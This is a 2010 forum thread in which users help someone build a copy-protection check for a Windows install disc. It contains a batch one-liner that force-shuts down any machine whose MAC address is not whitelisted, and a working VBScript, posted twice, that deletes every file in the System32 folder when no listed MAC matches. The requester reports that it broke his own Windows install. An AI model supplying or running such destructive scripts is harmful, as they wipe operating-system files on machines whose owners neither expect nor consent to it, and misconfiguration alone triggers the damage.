titishor Posted April 20, 2010 Author Posted April 20, 2010 (edited) Here is my take, instead of deleting system32, probably more feasible to just shut-down the computer.FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1and if you run your batch from this folder, it should shut down the machine before the logon-screen appears. $OEM$\$$\System32\GroupPolicy\Machine\Scripts\Startuptryied it your way . the answer is : FIND: Physical Address: No such file or directory Edited April 20, 2010 by titishor
cluberti Posted April 20, 2010 Posted April 20, 2010 On XP it's harder to do as there are no "obvious" default keysI guess for OEM kit you'd be safe with these:http://technet.micro...y/bb457078.aspxYes, those will work on an OEM disc, but you'll also find you've disabled online activation with that install and will have to call the clearinghouse. I suppose if you plan on doing that and you're making an OEM reinstall CD, then that's fine, but otherwise, not a good idea.
titishor Posted April 20, 2010 Author Posted April 20, 2010 tried everything...doesn't work...maybe i'm to stupid...
jaclaz Posted April 20, 2010 Posted April 20, 2010 (edited) tried everything...doesn't work...maybe i'm to stupid...No you didn't and no, you are not.Try opening a command prompt.Type in it:IPCONFIG /ALL(and press [ENTER] key)If on your NON English version the string "Physical Address" is not used, the batch by MrJinje won't work.Now, re-read, this time slowly, my previous post (#10) and try doing EXACTLY what is written there.Post results.jaclaz Edited April 20, 2010 by jaclaz
CoffeeFiend Posted April 21, 2010 Posted April 21, 2010 Alright, since you're still trying so desperately, I tried using another way of deleting files (hadn't exactly put much effort into it) and that works fine (obviously it doesn't delete files already in use -- so it "only" deletes about 85% of them). So here's a vbscript that does precisely what you asked for:Option ExplicitOn Error Resume NextConst macfile = "macs.txt" 'file containing mac addressesDim oWMI, oFSO, f, strMAC, MACs,colItems, objItem'build array of mac addresses from fileSet oFSO = CreateObject("Scripting.FileSystemObject")If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work fromSet f = oFSO.OpenTextFile(macfile, 1) 'ForReadingstrMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/Of.CloseMACs = Split(strMAC, vbCrLf)'look for a matching MAC addySet oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) NextNext'no match found, delete system32 for the lulzSet f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolderSet colItems = f.FilesFor Each objItem in colItems oFSO.DeleteFile(objItem)NextJust enclose a file called "macs.txt" along with it, which includes a MAC address from each PC that should be allowed to make use of this CD (one MAC address per line with octets separated by semicolons). Tested working on a single XP VM, should work on non-english Windows and all.Everyone: DON'T RUN THIS ON YOUR PC IF YOU DON'T WANT TO LOSE FILES! It's meant to make it not boot, and it just may succeed! You've been warned! Test it in a VM instead. The script will just quit if macs.txt isn't there though, so that might save some people from mishaps.Edit: moving to the Programming section.
titishor Posted April 21, 2010 Author Posted April 21, 2010 thank you for your help!but i still won't give up to do that batch
MrJinje Posted April 21, 2010 Posted April 21, 2010 FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FINDSTR "[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FINDSTR "[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1Not sure if either of these will display correctly, this should be a single line of code.
CoffeeFiend Posted April 21, 2010 Posted April 21, 2010 but i still won't give up to do that batch So it HAS to be a crappy batch file and NOT vbscript? Any particular reason for that? Either ways, good luck to you.
titishor Posted April 21, 2010 Author Posted April 21, 2010 (edited) no no no ...don't get me wrong...i learn quicker in cmd then in .vbsi tried your vbsi created a "macs.txt" like you said , and enter the mac address of my computer.then i runned the script..at the next restart, ERROR ))hal.sys was missing like i stated before...i'm stupid...one MAC address per line with octets separated by semicolonsi forgot that. Edited April 21, 2010 by titishor
CoffeeFiend Posted April 21, 2010 Posted April 21, 2010 at the next restart, ERROR ))hal.sys was missing Sounds like you didn't enter the MAC in the right format or whatever. If that happened, then there was no match. I forgot to mention the letters in the MAC addresses would have to be in uppercase though (didn't think about it, I just copy/pasted in the same format the OS showed them), so that might be it (that's trivial to fix too).
titishor Posted April 21, 2010 Author Posted April 21, 2010 so...it goes like this ?00-18-F3-A3-39-BE; or like this ?00:18:F3:A3:39:BE;
titishor Posted April 21, 2010 Author Posted April 21, 2010 (edited) @Jaclazwell...after a few hours of brain damaging and 1 pack of ciggaretes smoked,(Sorry for my poor english) i finnaly accomplished something. the line is : FOR /F "tokens=2,3 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO ECHO MAC=%%Aand the result is : C:\Documents and Settings\Administrator\Desktop>ECHO MAC= 00-18-F3-A3-39-BEMAC= 00-18-F3-A3-39-BE The funny thing is i tried this line , but i don't know why , it didn't worked.. Edited April 21, 2010 by titishor
CoffeeFiend Posted April 21, 2010 Posted April 21, 2010 so...it goes like this ?00-18-F3-A3-39-BE; or like this ?00:18:F3:A3:39:BE;Like 00:18:F3:A3:39:BE01:19:F4:A4:3A:BFFF:07:E2:F2:28:ADIf those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase).But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons:Option ExplicitOn Error Resume NextConst macfile = "macs.txt" 'file containing mac addressesDim oWMI, oFSO, f, strMAC, MACs,colItems, objItem'build array of mac addresses from fileSet oFSO = CreateObject("Scripting.FileSystemObject")If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work fromSet f = oFSO.OpenTextFile(macfile, 1) 'ForReadingstrMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/Of.CloseMACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf)'look for a matching MAC addySet oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) NextNext'no match found, delete system32 for the lulzSet f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolderSet colItems = f.FilesFor Each objItem in colItems oFSO.DeleteFile(objItem)Next
titishor Posted April 22, 2010 Author Posted April 22, 2010 (edited) so...it goes like this ?00-18-F3-A3-39-BE; or like this ?00:18:F3:A3:39:BE;Like 00:18:F3:A3:39:BE01:19:F4:A4:3A:BFFF:07:E2:F2:28:ADIf those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase).But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons:Option ExplicitOn Error Resume NextConst macfile = "macs.txt" 'file containing mac addressesDim oWMI, oFSO, f, strMAC, MACs,colItems, objItem'build array of mac addresses from fileSet oFSO = CreateObject("Scripting.FileSystemObject")If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work fromSet f = oFSO.OpenTextFile(macfile, 1) 'ForReadingstrMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/Of.CloseMACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf)'look for a matching MAC addySet oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) NextNext'no match found, delete system32 for the lulzSet f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolderSet colItems = f.FilesFor Each objItem in colItems oFSO.DeleteFile(objItem)Nexttested on my laptop and on my unit....you're good at this ))it works...even as i write to you now , my windows reinstalls on unit ) yea ...i know ..i could use VMWARE or virtual pc...but i like testing live ..Thanks for your help!all i have to do now is put it on my windows. Edited April 22, 2010 by titishor
jaclaz Posted April 22, 2010 Posted April 22, 2010 all i have to do now is put it on my windows.After all my initial question was not that absurd :However, you want us to write a batch for you?Or you want to learn how to write such a batch?If #2), Start reading here:...jaclaz
Recommended Posts
Please sign in to comment
You will be able to leave a comment after signing in
Sign In Now